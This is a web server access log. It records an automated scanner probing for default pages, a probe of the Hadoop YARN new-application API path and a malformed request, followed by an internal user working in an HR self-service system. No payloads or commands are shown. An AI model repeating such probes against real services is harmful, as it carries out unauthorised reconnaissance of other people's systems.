100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /home.php HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /localstart.jsp HTTP/1.1" 404 212
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /localstart.jsp HTTP/1.1" 404 212 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /localstart.php HTTP/1.1" 404 212
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /localstart.php HTTP/1.1" 404 212 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /base.php HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /base.php HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /home.jhtml HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:34 +0800] "GET /home.jhtml HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /default.pl HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /default.pl HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /inicio.jhtml HTTP/1.1" 404 210
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /inicio.jhtml HTTP/1.1" 404 210 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /home.jsa HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /home.jsa HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET default.asp HTTP/1.1" 400 226
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET default.asp HTTP/1.1" 400 226 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /default.html HTTP/1.1" 404 210
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /default.html HTTP/1.1" 404 210 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /index.jsa HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /index.jsa HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /start.shtml HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:35 +0800] "GET /start.shtml HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /start.pl HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /start.pl HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /localstart.aspx HTTP/1.1" 404 213
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /localstart.aspx HTTP/1.1" 404 213 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /start.jsa HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /start.jsa HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /default.cfm HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /default.cfm HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /localstart.asp HTTP/1.1" 404 212
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /localstart.asp HTTP/1.1" 404 212 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /main.cgi HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /main.cgi HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /default.jhtml HTTP/1.1" 404 211
100.64.0.1 - - [06/Sep/2025:18:23:36 +0800] "GET /default.jhtml HTTP/1.1" 404 211 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /default.jsa HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /default.jsa HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /index.jhtml HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /index.jhtml HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /default.jsp HTTP/1.1" 404 209
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /default.jsp HTTP/1.1" 404 209 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /localstart.jhtml HTTP/1.1" 404 214
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /localstart.jhtml HTTP/1.1" 404 214 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /main.php HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /main.php HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /menu.cfm HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /menu.cfm HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /admin.html HTTP/1.1" 404 208
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /admin.html HTTP/1.1" 404 208 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /base.cfm HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:37 +0800] "GET /base.cfm HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /main.pl HTTP/1.1" 404 205
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /main.pl HTTP/1.1" 404 205 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /home.aspx HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /home.aspx HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /main.cfm HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /main.cfm HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /menu.php HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /menu.php HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /start.asp HTTP/1.1" 404 207
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /start.asp HTTP/1.1" 404 207 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /home.jsp HTTP/1.1" 404 206
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET /home.jsp HTTP/1.1" 404 206 "-" "curl/7.54.0"
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET / HTTP/1.0" 200 439
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET / HTTP/1.0" 200 439 "-" "-"
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET / HTTP/1.1" 200 439 "-" "-"
100.64.0.1 - - [06/Sep/2025:18:23:38 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:24:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:18:24:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:26:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:18:26:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:27:25 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:18:27:25 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:39:01 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [06/Sep/2025:18:39:01 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.32.4"
100.64.0.1 - - [06/Sep/2025:18:43:51 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [06/Sep/2025:18:43:51 +0800] "\x03" 501 203
100.64.0.1 - - [06/Sep/2025:18:47:11 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:18:47:11 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:18:47:53 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:18:47:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:19:03:57 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:19:03:57 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:19:06:12 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:19:06:12 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:19:10:42 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:19:10:42 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [06/Sep/2025:19:12:48 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:19:12:48 +0800] "GET / HTTP/1.1" 200 439
192.168.12.66 - - [06/Sep/2025:19:31:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:31:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [06/Sep/2025:19:32:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:32:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.66 - - [06/Sep/2025:19:32:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.66 - - [06/Sep/2025:19:32:15 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:32:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9888
192.168.12.66 - - [06/Sep/2025:19:32:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 9888 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:32:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45028 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:32:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45028
192.168.12.66 - - [06/Sep/2025:19:32:43 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.12.66 - - [06/Sep/2025:19:32:43 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:32:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45028 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:32:45 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45028
192.168.12.66 - - [06/Sep/2025:19:32:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.12.66 - - [06/Sep/2025:19:32:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:32:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 104458 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:32:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 104458
192.168.12.66 - - [06/Sep/2025:19:33:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:33:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.66 - - [06/Sep/2025:19:33:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19458828601883693 HTTP/1.1" 200 16008 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:33:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19458828601883693 HTTP/1.1" 200 16008
192.168.12.66 - - [06/Sep/2025:19:33:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19458828601883693 HTTP/1.1" 200 18211 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19458828601883693" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:33:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.19458828601883693 HTTP/1.1" 200 18211
192.168.12.66 - - [06/Sep/2025:19:33:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4088 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:33:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4088
192.168.12.66 - - [06/Sep/2025:19:34:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45226 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:34:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45226
192.168.12.66 - - [06/Sep/2025:19:34:03 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.12.66 - - [06/Sep/2025:19:34:03 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:35:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45226 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:35:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45226
192.168.12.66 - - [06/Sep/2025:19:35:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45226 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:35:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45226
192.168.12.66 - - [06/Sep/2025:19:35:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45226 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:35:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45226
192.168.12.66 - - [06/Sep/2025:19:35:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45028 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:35:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE023&appdesc=%E5%8A%A0%E7%8F%AD%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 45028
100.64.0.1 - - [06/Sep/2025:19:40:54 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:19:40:54 +0800] "GET / HTTP/1.1" 200 439
192.168.12.66 - - [06/Sep/2025:19:41:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:41:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [06/Sep/2025:19:41:20 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.10589186064590606 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:41:20 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.10589186064590606 HTTP/1.1" 200 5264
192.168.12.66 - - [06/Sep/2025:19:41:30 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.10589186064590606 HTTP/1.1" 302 -
192.168.12.66 - - [06/Sep/2025:19:41:30 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.10589186064590606 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.10589186064590606" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:41:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5043
192.168.12.66 - - [06/Sep/2025:19:41:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5043 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.10589186064590606" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [06/Sep/2025:19:41:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [06/Sep/2025:19:41:40 +0800] "GET / HTTP/1.1" 200 439
192.168.12.66 - - [06/Sep/2025:19:41:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4864 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:41:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4864
192.168.12.66 - - [06/Sep/2025:19:41:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [06/Sep/2025:19:41:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:42:24 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5071949105561873 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:42:24 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5071949105561873 HTTP/1.1" 200 5264
192.168.12.66 - - [06/Sep/2025:19:42:30 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5071949105561873 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5071949105561873" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:42:30 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5071949105561873 HTTP/1.1" 302 -
192.168.12.66 - - [06/Sep/2025:19:42:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 9821
192.168.12.66 - - [06/Sep/2025:19:42:31 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 9821 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.5071949105561873" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [06/Sep/2025:19:42:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
